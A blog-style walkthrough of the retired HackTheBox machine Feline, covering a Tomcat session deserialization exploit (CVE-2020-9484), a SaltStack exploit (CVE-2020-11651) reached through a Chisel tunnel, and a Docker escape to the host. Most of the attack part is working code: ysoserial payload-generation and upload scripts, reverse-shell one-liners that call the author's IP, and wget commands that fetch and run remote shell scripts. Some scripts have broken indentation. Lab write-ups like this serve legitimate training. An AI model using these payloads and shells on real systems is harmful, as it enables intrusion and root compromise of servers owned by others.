Skip to main content

HackTheBox - Feline - Retired

HackTheBox - Feline - Active

Recon

Let's use threader3000 for our recon scan. It's a threaded scanner written in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML


xsltproc ./feline.htb/feline.htb.xml -o ./feline.html



Looks like we have just two open ports 22 and 8080


Port 22 OpenSSH 8.2p1
Port 8080       Apache Tomcat 9.0.27


That's a very new version of OpenSSH, let's see what we are served on port 8080



Looks like a site that would be very similar to VirusTotal.


Let's try to brute force this to see if we can find some other pages to look at




Here is what it found


---- Scanning URL: http://feline.htb:8080/ ----
+ http://feline.htb:8080/images (CODE:302|SIZE:0)                                                                                     
+ http://feline.htb:8080/index.html (CODE:200|SIZE:2141)                                                                              
+ http://feline.htb:8080/service (CODE:302|SIZE:0)  


Service sounds promising Let's check it out



Looks like this is the upload feature to submit samples to the service, If we try to upload multiple types of files we can see, we can't upload .php but were successful in uploading .py, .jar, .sh


Exploit


Googling around for Tomcat 9.0.27 exploits we come across this blog


https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/#8230


It basically says if the "Persistent Manager" is enabled on tomcat and there is a way to put files on a server, then through a JSON deserialization attack we can get a RCE on the box.


So what I gather normally is that the cookie is just compared against current sessions, so It takes the value supplied in the cookie JSESSIONID and checks for current sessions and stop there. However with "persistent manager", it keeps going and checks  on the disk for the session. Further than that it doesn't sanitize the value to make sure it would be a valid session, These two things combined allow us to pass a file path to the JSESSIONID which the server will then deserialize and execute what is in the file.


That seems bad mmkay


So we know that we can upload files to the server using their "analysis" service. If we send it serialized JSON files with command and then use the JSESSIONID to point to that file it will hopefully run what command we set.


Let me just say this part is a bear because we have two different blind options going here.

  1. We don't know the format the JSON wants to decode

  2. We don't know where the uploaded files land on the server after upload.


For number 1, we can use a tool that will automatically format our command in a bunch of different formats and just try them.


For number 2, it's going to just be a guessing game on the directory, we do see an error message in burpsuite that might shed some light on location.


As we found in our recon we aren't allowed to upload PHP files using the tool provided, but if we capture the response in burpsuite we can see this .


org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. /opt/tomcat/temp/upload_9b5a08fd_8793_4c9a_955f_935fca1d7c45_00000668.tmp (Permission denied)



It looks like the process of "analyzing" puts the uploaded file in /opt/tomcat/temp/ for a bit.

If we try our deserialization attack on this location it doesn't fire. So it seems this is just a temporary location before it saves the "samples" somewhere else.


But through some educated guesses and a lot of time we can figure out the location of the final resetting place for the uploaded files.


I'm not going to lie here, this part took absolutely forever, since we didn't know what type of JSON to make and where it ended up.


We can at least use a tool to help us with the first part. That tool is called ysoserial.


https://github.com/frohoff/ysoserial


It's pretty simple to use. 


The basic syntax  is 


Java -jar ./ysoserial *PayloadOption*  *command to run*



So a basic command might look like


Java -jar ./ysoerial BeanShell1 'ping -c 4 10.10.14.13'


With beanshell1 being one of the roughly 30 gadgets the tool has for generating types of JSON payloads.


I found this script on another site.

https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/



import os
import base64

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')



It basically just goes through and creates a JSON for every type of payload ysoserial has.

I modified it a bit to write them out to files that we could then upload, and to only do the linux command since we are up against an ubuntu box.


import os
import re
import base64
import urllib


payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
final = final + "/" + payload + ".session"
print(final)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ./ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
print(result)
name = payload + ' ' + 'linux'
print('name is ' + name)  
file = open(payload+'.session',"w")
file.write(result)




generate('Linux', 'ping -c 4 10.10.14.13)




So this creates a .session file for every type of gadget and writes it to a file we can then upload.


Next step was to figure out a way to upload the files in a python script. 


If we google for curl upload we find this 


https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76


We can use the -F option with curl to upload a file hopefully, again we want to script this in python so that we can automate the process.


I'm sure there is a way I could have down this directly with python but we know curl and we can just os.system to call curl



import os
import re
import base64
import urllib


payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']





def CURLUpload():
for payload in payloads:
cmd = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID=donotcare' -F 'image=@"+payload +".session'"
os.system(cmd)
print(cmd)




CURLUpload()



And then we need to figure out a way to automate giving it our modified JSESSIONID, again python to the rescue.



import os
import re
import base64
import urllib
import sys
import time


JSESSION = sys.argv[1]

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']


def CURLExecute():
for payload in payloads:

cmd = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID="+ JSESSION + payload + "'"
print(cmd)
os.system(cmd)

CURLExecute()



Now that we can automatically generate all the types of payloads, upload them and then try execution on them let's combine all these into one script


It's ugly but I think it should work. I purposefully built each part out in a function that should make it easier to combine all the scripts together.



Here is what I came up with

import os
import re
import base64
import urllib
import sys
import time

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']

inputvar = sys.argv[2]
inputJSESSION = sys.argv[1]

def generate(inputvar):
    for payload in payloads:
cmd = inputvar

        command = os.popen("java -jar ./ysoserial.jar " + payload + " '" + cmd + "'")
print(command)
#time.sleep(6000)       
result = command.read()
        command.close()
        encoded = base64.b64encode(result)
#print(result)
name = payload + ' ' + 'linux'
#print('name is ' + name)  
file = open(payload+'.session',"w")
file.write(result)







def CURLExecute():
for payload in payloads:
JSESSION = inputJSESSION
cmd2 = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID="+ JSESSION + payload + "'"

os.system(cmd2)


def CURLUpload():
for payload in payloads:
cmd = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID=donotcare' -F 'image=@"+payload +".session'"
os.system(cmd)

generate(inputvar)
CURLUpload()
CURLExecute()



It will take two user inputs, the first being the location we want to use to try and execute the file and the second being the command we want to place inside the json files.


So the syntax would be 


python ./Combined.py '../../../../opt/tomcat' 'ping -c 4 10.10.14.13'


Here is the moment of truth we are going to stick with a ping as our proof of concept here since we can use tcpdump to listen on our VPN IP to see if we get any code execution, and we are just going to blindly guess at the location path until we get some pings.



Let's start our listener

sudo tcpdump -i tun0 -n icmp


And start poking around for the location.


Well no pings with the first location we tried from what we found in our burpsuite response earlier.


python ./Combined.py '../../../../opt/tomcat' 'ping -c 4 10.10.14.13'


I probably literally tried about a dozen different locations before I found the right path for the files.


I tried variations on sample, upload and different paths like /tmp /opt eventually we stumble blindly on one that works


../../../../../../opt/samples/uploads/



That is more than just 4 pings like we put in our command so it looks like more than one of the serialization gadgets worked.


At this point we really don't care which one works we have a POC that our script works we were able to find a gadget that encoded correctly, upload it and then get execution using the JSESSIONSID


Immediately I tried just to do a netcat reverse shell.


First let's set up our listener

nc -lnvp 5555

Then try this command


python ./Combined.py '../../../../../../opt/samples/uploads/' 'nc 10.10.14.13 5555 -e /bin/sh'



No dice


We can try some other one line reverse shells like

python ./Combined.py '../../../../../../opt/samples/uploads/' 'bash -i >& /dev/tcp/10.10.14.13/5555 0>&1'

python ./Combined.py '../../../../../../opt/samples/uploads/' 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 5555 >/tmp/f'


But no shell back with those either, so it lets us run ping but it's not letting us run these other commands.


Maybe there is some sort of execution block going on or a permissions issue.




I fought with this for hours and still couldn't get it fire from this script… so let's change tactics.




From tinkering and fighting to get this to work I think there is an issue with the way ysoserial uses the quotes for the command input that is screwing up more complicated commands. I also discovered that "CommonsCollections2" is one of the formats that works.


So let's do this, let's use wget to download a shell script to the temp directory on feline, then 


Then use our serialized json to run that script… sound simple right?  I've modified my python script again to be smaller so we don't have to wait as long for the attempts to run.


import os
import re
import base64
import urllib
import sys

payload = "CommonsCollections2"

inputvar = sys.argv[2]
inputJSESSION = sys.argv[1]

def generate(inputvar):
cmd =  inputvar
        command = os.popen("java -jar ./ysoserial.jar " + payload + " '" + cmd + "'")
print(command)     
result = command.read()
        command.close()
        encoded = base64.b64encode(result)
#print(result)
name = payload + ' ' + 'linux'
#print('name is ' + name)  
file = open(payload+'.session',"w")
file.write(result)




def CURLExecute():
JSESSION = inputJSESSION

cmd2 = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID="+ JSESSION + payload + "'"
print("File Exeuction: " +cmd2)
os.system(cmd2)


def CURLUpload():
cmd = "curl 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID=donotcare' -F 'image=@"+payload +".session'"
print("File Uplodd: "+cmd)
os.system(cmd)


generate(inputvar)

CURLUpload()
CURLExecute()




Now we need to make a shell script to serve over to feline



#!/bin/bash
bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 5555 >/tmp/f"



Then we start up updog to serve the file


updog



We still accept the two inputs with our new minimal python script so the first command we want to give is to wget our .sh file we name rshell.sh and save it to the /tmp folder


python ./minimal.py '../../../../../../opt/samples/uploads/' 'wget http://10.10.14.13:9090/rshell.sh -O /tmp/rshell.sh'  


And we can see in our updog session that it did reach out and grab the file.


Now we just need to set up our listener again and run the command to execute that script.


nmap -nlvp 5555


Now execute again using the minimal.py


python ./minimal.py '../../../../../../opt/samples/uploads/' 'bash /tmp/rshell.sh'  


And we finally have our foothold



And from here we can get to the /home/tomcat directory and read the user.txt flag


Now let's figure out how to escalate to root… if we can :)


Poking around in the file system it doesn't look like it was renaming our uploads after all.



Here in the upload.jsp we can see it was writing samples to /opt/samples/uploads



Now let's check out what's running to see if we can find a path forward.


Let's upload linpeas.sh to the box using our running updog



Then give it execute rights


chmod +x ./linpeas.sh



Then run it using ./linpeas.sh



Not much right off the bat, that I see however looking at some open ports we see something that we didn't see from the outside…


Ports 4505 and 4506… what use those ports?


A quick google search later you find that one possibility is salt


https://docs.saltstack.com/en/getstarted/system/communication.html


And a further search on salt shows a vulnerability.


https://github.com/jasperla/CVE-2020-11651-poc


First let's upgrade to a tty shell using python3



python3 -c 'import pty; pty.spawn("/bin/bash")'

Better.



In order for the salt POC to work we are going to need to have access to port 4506, which is apparently firewalled off to us…


We are going to need to do a tunnel so that our box can access that port, we will use our existing access to  feline to create a tunnel to forward our traffic to the ports we don't have access to.


For this we might normally use an SSH tunnel if we have creds to use SSH, but we don't so we are going to use a tool called Chisel.


To install chisel


https://github.com/jpillora/chisel


We need to clone the repo



Since this application is a go application we are going to need to install golang too, if we don't have it already.


Sudo apt-get install golang



Then from the new cloned repo directory we just build the application


go build


Now we should have an executable




Let's use our existing updog connect to wget this onto feline, we need to copy this executable to the same directory we are running updog from


Then on feline we download chisel



** you might notice my VPN IP changed here, i had to take a break and pick this up the next day**


Now we need to give chisel execution rights on feline


chmod +x ./chisel


If you aren't super familiar with chisel you might take a break here and do some googling


Ok now we need to start the chisel server on our kali box 


./chisel server -p 8000 -reverse


Then on feline we need to forward the port

./chisel client 10.10.14.16:8000 R:8001:127.0.0.1:4506 &


Now we can see on our kali box that we were successful in setting up our tunnel



So we started a chisel server on kali on port 8000, then on feline we said connect to port 8000 on kali using chisel and send the request to port 8001 to local port 4506 on feline





Now we can test that exploit we found earlier for salt.





python3 ./exploit.py --master localhost --port 8001



Great, the exploit was able to connect and obtain the root key so this looks like a viable path forward.


This exploit allows us to run commands using the --exec switch which accepts a command inside of quotes just like ysoserial, which is going to give us problems again, so let's solve it exactly like we did before, use the exploit to download a file to a location we can control with a bash script for a reverse shell then execute it.


To that end let's set up another listener and another bash script file.


nc -lnvp 5666


We will use our existing updog server again to serve up our bash script


It's almost an exact copy of our previous shell script, just a different port


#!/bin/bash
bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 5666 >/tmp/f"


We first download the script using wget


python3 ./exploit.py --master localhost --port 8001 --exec 'wget http://10.10.14.16:9090/rshel5666.sh -O /tmp/rshell5666.sh'


Then we give it execution rights

python3 ./exploit.py --master localhost --port 8001 --exec 'chmod +x /tmp/rshell5666.sh'


Then run the script

python3 ./exploit.py --master localhost --port 8001 --exec '/tmp/rshell5666.sh'



For some reason, mkfifo wouldn't fire. So I modified the rshell5666.sh to use just a bash reverse shell instead.


bash -i >& /dev/tcp/10.10.14.16/5666 0>&1




We are in as root….. But something looks off here, look at the machine name I expected that to say feline.


There is a todo.txt here, let's read it

cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.


So we are in a docker here for salt


Geez this box is hard


Ok so we are in a docker container for salt with root privileges for this container


Let's google around for a way to escape out of docker to our host.


I at first went down a path of trying to exploit docker.sock but didn't have much luck. Then I found some blogs about mounting the host file system inside of our container but the docker binary isn't present on the container…… but we can fix that!


Let's use wget on our kali box to download a copy of docker.



Then unzip it.


tar -xvzf ./docker-latest.tgz docker/


Now let's move the docker binary to the folder we are running updog in.


Then on the docker container on feline that we have, let's use wget to download it to the /tmp folder.



And give it execution rights.


chmod +x ./docker



So problem solved, this container now has the docker binary.


So now thanks to the nature of docker we can mount a folder of the host into our container.


./docker run -v /root:/mnt -it sandbox 

This will mount the /root folder of the host on our container in /mnt






Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor